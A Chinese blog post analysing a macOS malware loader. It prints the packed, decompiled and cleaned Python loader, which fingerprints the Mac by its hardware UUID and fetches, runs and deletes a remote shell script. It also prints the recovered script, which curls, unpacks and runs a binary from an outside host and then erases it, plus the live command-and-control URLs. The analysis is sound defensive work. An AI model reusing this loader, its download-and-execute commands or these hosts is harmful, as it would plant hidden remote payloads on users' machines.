Mac App 破解之路八 病毒程序分析
本人使用MacBooster 7 扫出了几个未知程序.
JMJ56 这个程序. 在finder中打开发现是一个shell脚本 调用了python
9NKb0 就是python脚本使用. 只不过是编译之后的 pyc二进制文件.
使用 https://tool.lu/pyc/ 在线反编译工具, 将其反编译后,得到了如下代码:
import zlib import base64 exec zlib.decompress(base64.b64decode('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'))
将exec 改成 print 后 得到源码:
import time YCs=globals YCQ=None YCX=Exception YCU=chr YCf=ord YCq=True YCk=str YCN=int YCD=len YCI=open YCM=False YCF=float YCu=OSError YCE=enumerate Ycw=time.time Ycb=time.sleep import uuid YcB=uuid.uuid4 import os Yci=os.path YcA=os.remove Ycl=os.getenv YCc=os.mkdir import sys YCp=sys.path YCn=sys.argv import platform YCS=platform.mac_ver import urllib2 YCL=urllib2.Request YCy=urllib2.urlopen import shelve YCV=shelve.DbfilenameShelf import base64 YCg=base64.b64decode YCp.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC') import objc YCa=objc.loadBundleFunctions from subprocess import Popen,PIPE from Foundation import NSBundle YCr=NSBundle.bundleWithIdentifier_ def YcP(): YcC=YCr('com.apple.framework.IOKit') Ycp=[("IOServiceGetMatchingService",b"II@"),("IOServiceMatching",b"@*"),("IORegistryEntryCreateCFProperty",b"@I@@I"),] YCa(YcC,YCs(),Ycp) def YcK(WTRkc): return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0,IOServiceMatching("IOPlatformExpertDevice")),WTRkc,YCQ,0) def Yct(): return YcK("IOPlatformUUID") def YcW(bmtzB): pass def YcH(YcF): try: Ycn=YCL(YcF) YcS=YCy(Ycn) YcL=YcS.read() return YcL except YCX as twwAy: pass def Ycz(mOoCz): if Ycy: return YcT(mOoCz) return mOoCz def YcT(bmtzB): return YCg(YCg("".join([YCU(YCf(x)-1)for x in YCg(bmtzB)]))[::-1]) Ycy=YCq class Ycx: def __init__(Ycq): YcP() YcV=Ycz("UVUyU1ZsNTZTV04+") Ycg=Ycz("TkVselpvbDZiWE9wWGtPTg==") Yca=Ycz("UVUyU1hrS0hObVdwVm1pW1NVbVVbWW1IY1hPcWNGZVY=") Ycr=Ycz("UVdHSVtHU2xXM0d1T1VLalNGNllYVjU2VjNXNlNuMmtiWHlJV0I+Pg==") Ycs=Ycz("TkVtSVhoPj4=") YcQ=Ycz("ZW1LSlhoPj4=") YcX=Ycz("UVZXVltCPj4=") YcU=Ycz("UVdtVltCPj4=") Ycf=Ycz("UVUyQ1pZcDJSM1d4UFZPa2VHSntVQj4+") Ycq.LyPiI=Ycz("UVZHWltCPj4=") Ycq.bHJIV=Ycz("UVUyQ1pZcDZiWEt4VGtLTg==") Ycq.RXatE=Ycz("UVhldVtSPj4=") Ycq.jWCqZ=Ycz("UVhldltSPj4=") Ycq.axruV=Ycz("UVZse1hSPj4=") Ycq.PzAcW=Ycz("ZldxWlpoPj4=") Yck=Ycz("UVZHRlVVU0tTRjk+") Ycq.FlQzO=Ycz("UVUyU1VrR2tTRjE+") Ycq.TdttD=Ycz("UVUyNFtCPj4=") Ycq.skrNG=Ycz("UVhPRlVoPj4=") Ycq.BnAQf=YCk(YcB()).split('-')[-1][2:6] YcN=Ycl(YcV) if YcN in[Ycg,YCQ]: YcN="" if Ycq.YcG(): Ycq.iQbym=Ycq.YcJ(Ycq.YcO(YcN,Ycr)) YcD=Ycq.YcJ(Ycq.YcO(Ycq.YcJ(Ycq.iQbym),YcQ)) YcI=Ycq.YcJ(YcU) else: Ycq.iQbym=Ycq.YcJ(Ycq.YcO(YcN,Yca)) YcD=Ycq.YcJ(Ycq.YcO(Ycq.YcJ(Ycq.iQbym),Ycs)) YcI=Ycq.YcJ(YcX) Ycq.tJTBy=Ycq.YcJ(Ycf) Ycq.tvkWA=Ycq.YcJ(Ycq.YcO(Ycq.YcJ(Ycq.iQbym),Ycq.YcJ(YcI))) try: Ycq.CRAQs=YCV(Ycq.YcJ(YcD)) except YCX as twwAy: return Ycq.axdjg=YCN(Yck) def Ycm(Ycq): Ycq.Yco() if Ycq.Yce(): Ycq.Ych() Ycq.CRAQs.close() def Ych(Ycq): if YCD(Ycq.CRAQs.get(Ycq.LyPiI,''))>0: Ycq.YcR(Ycq.CRAQs[Ycq.LyPiI].strip()) else: try: f=YCI(Ycq.YcJ(Ycq.tvkWA)) YcM=f.readline() f.close() Ycq.CRAQs[Ycq.LyPiI]=YcM.strip() if YCD(Ycq.CRAQs.get(Ycq.LyPiI,''))>0: Ycq.YcR(Ycq.CRAQs[Ycq.LyPiI].strip()) else: pass except YCX as twwAy: return def YcR(Ycq,jfubJ): YcF="{}{}&{}={}".format(jfubJ,Yct(),Ycq.PzAcW,YCS()[0]) YcL=YcH(YcF) if not YcL: return if YCD(YcL)>10: Ycq.Ycv(YcL) def Ycv(Ycq,ToLzn): Ycq.Ycj(ToLzn) Ycq.Ycd() try: Ycb(2) YcA(Ycq.YcJ(Ycq.tJTBy)) except YCX as twwAy: pass def Ycj(Ycq,ToLzn): YcL=YcH(ToLzn) try: f=YCI(Ycq.YcJ(Ycq.tJTBy),Ycz(Ycq.TdttD)) f.write(YcL) f.close() except YCX as twwAy: pass def Ycd(Ycq): p=Popen([Ycq.bHJIV,Ycq.YcJ(Ycq.tJTBy)],stdin=PIPE,stdout=PIPE,stderr=PIPE) p.communicate() def YcG(Ycq): if YCD(YCn)>1: if YCn[1]==Ycq.axruV: return YCq return YCM def Yce(Ycq): if YCN(Ycq.CRAQs.get(Ycq.RXatE,0))==0: Ycq.CRAQs[Ycq.RXatE]=Ycw() Ycq.CRAQs[Ycq.jWCqZ]=Ycw() return YCq if YCN(Ycq.CRAQs.get(Ycq.jWCqZ,0))>0: if Ycw()-YCF(Ycq.CRAQs[Ycq.jWCqZ])<Ycq.axdjg: return YCM Ycq.CRAQs[Ycq.jWCqZ]=Ycw() return YCq def Yco(Ycq): if not Yci.isdir(Ycq.YcJ(Ycq.iQbym)): try: YCc(Ycq.YcJ(Ycq.iQbym),YCN(Ycq.FlQzO)) except YCu as xQowg: pass except YCX as twwAy: pass def YcJ(Ycq,DngPJ): return ''.join([YCU(YCf(JeEmF)^YCf(Ycq.BnAQf[JAYHL%YCD(Ycq.BnAQf)]))for JAYHL,JeEmF in YCE(YCk(DngPJ))]) def YcO(Ycq,*args): Ycu=Ycq.skrNG try: Ycu=YCN(Ycu) except YCX as twwAy: Ycu=YCN(Ycz(Ycq.skrNG)) return YCU(Ycu).join(args) YcE=Ycx() YcE.Ycm()
看到这样的代码,有点尴尬, 混淆过后的python真牛逼. 手动优化一番后:
import time import uuid import os import sys import platform import urllib2 import shelve import base64 sys.path.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC') import objc from subprocess import Popen,PIPE from Foundation import NSBundle def YcP(): YcC=NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit') Ycp=[("IOServiceGetMatchingService",b"II@"),("IOServiceMatching",b"@*"),("IORegistryEntryCreateCFProperty",b"@I@@I"),] objc.loadBundleFunctions(YcC,globals(),Ycp) def YcK(WTRkc): return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0,IOServiceMatching("IOPlatformExpertDevice")),WTRkc,None,0) def Yct(): return YcK("IOPlatformUUID") def YcW(bmtzB): pass def YcH(YcF): try: Ycn=urllib2.Request(YcF) YcS=urllib2.urlopen(Ycn) YcL=YcS.read() return YcL except Exception as twwAy: pass def Ycz(mOoCz): if True: return YcT(mOoCz) return mOoCz def YcT(bmtzB): return base64.b64decode(base64.b64decode("".join([chr(ord(x)-1)for x in base64.b64decode(bmtzB)]))[::-1]) class Ycx: def __init__(self): YcP() YcV=Ycz("UVUyU1ZsNTZTV04+") Ycg=Ycz("TkVselpvbDZiWE9wWGtPTg==") Yca=Ycz("UVUyU1hrS0hObVdwVm1pW1NVbVVbWW1IY1hPcWNGZVY=") Ycr=Ycz("UVdHSVtHU2xXM0d1T1VLalNGNllYVjU2VjNXNlNuMmtiWHlJV0I+Pg==") Ycs=Ycz("TkVtSVhoPj4=") YcQ=Ycz("ZW1LSlhoPj4=") YcX=Ycz("UVZXVltCPj4=") YcU=Ycz("UVdtVltCPj4=") Ycf=Ycz("UVUyQ1pZcDJSM1d4UFZPa2VHSntVQj4+") self.LyPiI=Ycz("UVZHWltCPj4=") self.bHJIV=Ycz("UVUyQ1pZcDZiWEt4VGtLTg==") self.RXatE=Ycz("UVhldVtSPj4=") self.jWCqZ=Ycz("UVhldltSPj4=") self.axruV=Ycz("UVZse1hSPj4=") self.PzAcW=Ycz("ZldxWlpoPj4=") Yck=Ycz("UVZHRlVVU0tTRjk+") self.FlQzO=Ycz("UVUyU1VrR2tTRjE+") self.TdttD=Ycz("UVUyNFtCPj4=") self.skrNG=Ycz("UVhPRlVoPj4=") self.BnAQf=str(uuid.uuid4()).split('-')[-1][2:6] YcN=os.getenv(YcV) if YcN in[Ycg,None]: YcN="" if self.YcG(): self.iQbym=self.YcJ(self.YcO(YcN,Ycr)) YcD=self.YcJ(self.YcO(self.YcJ(self.iQbym),YcQ)) YcI=self.YcJ(YcU) else: self.iQbym=self.YcJ(self.YcO(YcN,Yca)) YcD=self.YcJ(self.YcO(self.YcJ(self.iQbym),Ycs)) YcI=self.YcJ(YcX) self.tJTBy=self.YcJ(Ycf) self.tvkWA=self.YcJ(self.YcO(self.YcJ(self.iQbym),self.YcJ(YcI))) try: self.CRAQs=shelve.DbfilenameShelf(self.YcJ(YcD)) except Exception as twwAy: return self.axdjg=int(Yck) def Ycm(self): self.Yco() if self.Yce(): self.Ych() self.CRAQs.close() def Ych(self): if len(self.CRAQs.get(self.LyPiI,''))>0: self.YcR(self.CRAQs[self.LyPiI].strip()) else: try: f=open(self.YcJ(self.tvkWA)) YcM=f.readline() f.close() self.CRAQs[self.LyPiI]=YcM.strip() if len(self.CRAQs.get(self.LyPiI,''))>0: self.YcR(self.CRAQs[self.LyPiI].strip()) else: pass except Exception as twwAy: return def YcR(self,jfubJ): YcF="{}{}&{}={}".format(jfubJ,Yct(),self.PzAcW,platform.mac_ver()[0]) YcL=YcH(YcF) if not YcL: return if len(YcL)>10: self.Ycv(YcL) def Ycv(self,ToLzn): self.Ycj(ToLzn) self.Ycd() try: time.sleep(2) os.remove(self.YcJ(self.tJTBy)) except Exception as twwAy: pass def Ycj(self,ToLzn): YcL=YcH(ToLzn) try: f=open(self.YcJ(self.tJTBy),Ycz(self.TdttD)) f.write(YcL) f.close() except Exception as twwAy: pass def Ycd(self): p=Popen([self.bHJIV,self.YcJ(self.tJTBy)],stdin=PIPE,stdout=PIPE,stderr=PIPE) p.communicate() def YcG(self): if len(sys.argv)>1: if sys.argv[1]==self.axruV: return True return False def Yce(self): if int(self.CRAQs.get(self.RXatE,0))==0: self.CRAQs[self.RXatE]=time.time() self.CRAQs[self.jWCqZ]=time.time() return True if int(self.CRAQs.get(self.jWCqZ,0))>0: if time.time()-float(self.CRAQs[self.jWCqZ])<self.axdjg: return False self.CRAQs[self.jWCqZ]=time.time() return True def Yco(self): if not os.path.isdir(self.YcJ(self.iQbym)): try: os.mkdir(self.YcJ(self.iQbym),int(self.FlQzO)) except OSError as xQowg: pass except Exception as twwAy: pass def YcJ(self,DngPJ): return ''.join([chr(ord(JeEmF)^ord(self.BnAQf[JAYHL%len(self.BnAQf)]))for JAYHL,JeEmF in enumerate(str(DngPJ))]) def YcO(self,*args): Ycu=self.skrNG try: Ycu=int(Ycu) except Exception as twwAy: Ycu=int(Ycz(self.skrNG)) return chr(Ycu).join(args) YcE=Ycx() YcE.Ycm()
上面的代码稍微还可以看一下. 继续优化:
# -*- coding: utf-8 -*- # @Time : 2019/8/4 8:13 PM # @Author : dzq import time import uuid import os import sys import platform import urllib2 import shelve import base64 sys.path.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC') import objc from subprocess import Popen,PIPE from Foundation import NSBundle def YcP(): YcC=NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit') Ycp=[("IOServiceGetMatchingService",b"II@"),("IOServiceMatching",b"@*"),("IORegistryEntryCreateCFProperty",b"@I@@I"),] objc.loadBundleFunctions(YcC,globals(),Ycp) def YcK(WTRkc): return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0,IOServiceMatching("IOPlatformExpertDevice")),WTRkc,None,0) def Yct(): return YcK("IOPlatformUUID") def YcW(bmtzB): pass def reqUrl(YcF): try: Ycn=urllib2.Request(YcF) YcS=urllib2.urlopen(Ycn) con=YcS.read() return con except Exception as twwAy: pass def Ycz(mOoCz): if True: return YcT(mOoCz) return mOoCz def YcT(bmtzB): return base64.b64decode(base64.b64decode("".join([chr(ord(x)-1)for x in base64.b64decode(bmtzB)]))[::-1]) class Ycx: def __init__(self): YcP() YcV='HOME' Ycg='/var/root' Ycr='Library/MacConfigStd' Ycs='dot' YcX='u1' YcU='u6' Ycf='/tmp/ix.sh' self.bHJIV='/bin/sh' self.axruV='cr' self.PzAcW='mvr' self.TdttD='w' self.BnAQf='e2f4' if self.YcG(): self.iQbym= '/Users/dengzhongqiang/Library/MacConfigStd' YcD= '/Users/dengzhongqiang/Library/MacConfigStd/dto' YcI= 'u6' else: self.iQbym= '/Users/dengzhongqiang/Library/DataSave' YcD= '/Users/dengzhongqiang/Library/DataSave/dot' YcI = 'u1' self.tvkWA=self.path_join(self.iQbym, YcI) try: self.CRAQs=shelve.DbfilenameShelf(YcD) except Exception as twwAy: return def Ycm(self): self.Yco() if self.Yce(): self.Ych() self.CRAQs.close() def Ych(self): if len(self.CRAQs.get('up',''))>0: self.req(self.CRAQs['up'].strip()) else: try: f=open('/Users/dengzhongqiang/Library/DataSave/u1') line=f.readline() f.close() self.CRAQs['up']=line.strip() if len(self.CRAQs.get('up',''))>0: self.req(self.CRAQs['up'].strip()) else: pass except Exception as twwAy: return def req(self,jfubJ): YcF="{}{}&{}={}".format(jfubJ,Yct(),'mvr',platform.mac_ver()[0]) con=reqUrl(YcF) if not con: return if len(con)>10: self.Ycv(con) def Ycv(self,url): self.Ycj(url) self.Ycd() try: time.sleep(2) os.remove(self.YcJ('/tmp/ix.sh')) except Exception as twwAy: pass def Ycj(self,url): con=reqUrl(url) try: f=open('/tmp/ix.sh',"w") f.write(con) f.close() except Exception as twwAy: pass def Ycd(self): p=Popen(['bib/sh','/tmp/ix.sh'],stdin=PIPE,stdout=PIPE,stderr=PIPE) p.communicate() def YcG(self): if len(sys.argv)>1: if sys.argv[1]==self.axruV: return True return False def Yce(self): if int(self.CRAQs.get('zh',0))==0: self.CRAQs['zh']=time.time() self.CRAQs['zx']=time.time() return True if int(self.CRAQs.get('zx',0))>0: if time.time()-float(self.CRAQs['zx'])< 82800: return False self.CRAQs['zx']=time.time() return True def Yco(self): if not os.path.isdir('/Users/dengzhongqiang/Library/DataSave'): try: os.mkdir( self.iQbym,0755) except OSError as xQowg: pass except Exception as twwAy: pass def path_join(self,*args): return '/'.join(args) YcE=Ycx() YcE.Ycm()
# -*- coding: utf-8 -*- # @Time : 2019/8/4 8:13 PM # @Author : dzq import time import uuid import os import sys import platform import urllib2 import shelve import base64 sys.path.append('/System/Library/Frameworks/Python.framework/Versions/2.7/Extras/lib/python/PyObjC') import objc from subprocess import Popen,PIPE from Foundation import NSBundle def YcP(): YcC=NSBundle.bundleWithIdentifier_('com.apple.framework.IOKit') Ycp=[("IOServiceGetMatchingService",b"II@"),("IOServiceMatching",b"@*"),("IORegistryEntryCreateCFProperty",b"@I@@I"),] objc.loadBundleFunctions(YcC,globals(),Ycp) def YcK(WTRkc): return IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0,IOServiceMatching("IOPlatformExpertDevice")),WTRkc,None,0) def Yct(): return YcK("IOPlatformUUID") def YcW(bmtzB): pass def reqUrl(YcF): try: Ycn=urllib2.Request(YcF) YcS=urllib2.urlopen(Ycn) con=YcS.read() return con except Exception as twwAy: pass def Ycz(mOoCz): if True: return YcT(mOoCz) return mOoCz def YcT(bmtzB): return base64.b64decode(base64.b64decode("".join([chr(ord(x)-1)for x in base64.b64decode(bmtzB)]))[::-1]) class Ycx: def __init__(self): YcP() if self.YcG(): self.iQbym= '/Users/dengzhongqiang/Library/MacConfigStd' YcD= '/Users/dengzhongqiang/Library/MacConfigStd/dto' YcI= 'u6' else: self.iQbym= '/Users/dengzhongqiang/Library/DataSave' YcD= '/Users/dengzhongqiang/Library/DataSave/dot' YcI = 'u1' self.tvkWA=self.path_join(self.iQbym, YcI) try: self.CRAQs=shelve.DbfilenameShelf(YcD) except Exception as twwAy: return def Ycm(self): self.Yco() if self.Yce(): self.Ych() self.CRAQs.close() def Ych(self): if len(self.CRAQs.get('up',''))>0: self.req(self.CRAQs['up'].strip()) else: try: f=open('/Users/dengzhongqiang/Library/DataSave/u1') line=f.readline() f.close() self.CRAQs['up']=line.strip() if len(self.CRAQs.get('up',''))>0: self.req(self.CRAQs['up'].strip()) else: pass except Exception as twwAy: return def req(self,jfubJ): YcF="{}{}&{}={}".format(jfubJ,Yct(),'mvr',platform.mac_ver()[0]) con=reqUrl(YcF) if not con: return if len(con)>10: self.Ycv(con) def Ycv(self,url): self.Ycj(url) self.Ycd() try: time.sleep(2) os.remove(self.YcJ('/tmp/ix.sh')) except Exception as twwAy: pass def Ycj(self,url): con=reqUrl(url) try: f=open('/tmp/ix.sh',"w") f.write(con) f.close() except Exception as twwAy: pass def Ycd(self): p=Popen(['bib/sh','/tmp/ix.sh'],stdin=PIPE,stdout=PIPE,stderr=PIPE) p.communicate() def YcG(self): if len(sys.argv)>1: if sys.argv[1]=='cr': return True return False def Yce(self): if int(self.CRAQs.get('zh',0))==0: self.CRAQs['zh']=time.time() self.CRAQs['zx']=time.time() return True if int(self.CRAQs.get('zx',0))>0: if time.time()-float(self.CRAQs['zx'])< 82800: return False self.CRAQs['zx']=time.time() return True def Yco(self): if not os.path.isdir('/Users/dengzhongqiang/Library/DataSave'): try: os.mkdir( self.iQbym,0755) except OSError as xQowg: pass except Exception as twwAy: pass def path_join(self,*args): return '/'.join(args) YcE=Ycx() YcE.Ycm()
通过调试和进一步优化,读取这段逻辑, 知道了这段恶意程序的思想:
每次开机执行这段脚本, 读取dot.db, 转换成python中的字典 data. [这里有一个时间比对, 如果时间在23个小时以内,则不请求URL
这个URL的功能就是获取ix.sh文件内容.]
然后获取这个data中up字段,如果没有up字段,就读取/Users/dengzhongqiang/Library/DataSave/u1文件内容:
是一个url, 然后请求这个URL, 如果返回的数据长度大于10, 则把这个内容写入到 /tmp/ix.sh中,
并加入可执行权限,然后执行. 执行完成之后过2秒就删除这个ix.sh脚本.
完整的请求地址是:
http://i.swiftinstaller.top/c/ci?ct=clpy&tm=1&id=7B97AA40-7A19-5F8C-B050-35A7D8D8F8B3&mvr=10.14.5
id字段是这段代码的返回值,
IORegistryEntryCreateCFProperty(IOServiceGetMatchingService(0,IOServiceMatching("IOPlatformExpertDevice")),'IOPlatformUUID',None,0)
妈个逼的, 用postman模拟请求一直返回1, 很想知道iv.sh里的内容是啥. 决定用数据恢复软件恢复一波,看能不能找回来. 看一下恶意程序的真荣.
拿到了iv.sh的内容.
#!/bin/bash /usr/bin/curl -s -L -o /var/tmp/xSf.tgz "http://www.qaeqxa.pw/static/s3/exec6625/exec.tgz" mkdir -p /var/tmp/xSf tar -xzf /var/tmp/xSf.tgz -C /var/tmp/xSf/ cd /var/tmp/xSf/ ./xSf func_cccc(){ sleep 120 rm -rf /var/tmp/xSf rm -rf /var/tmp/xSf.tgz } func_cccc &
可以知道, 它下载了exec.tgz, 下载我执行命令下载一下这个.
wget http://www.qaeqxa.pw/static/s3/exec6625/exec.tgz
tar -xzf exec.tgz -C ./bingdu/
拿到了真正的病毒程序: xSf
这个程序隐藏的真深, 延时120秒后就删除了. 杀毒软件肯定也就找不到它了.
用杀毒软件直接扫描这个程序:
最终找到了写病毒的人,他叫: batman
老子要报警.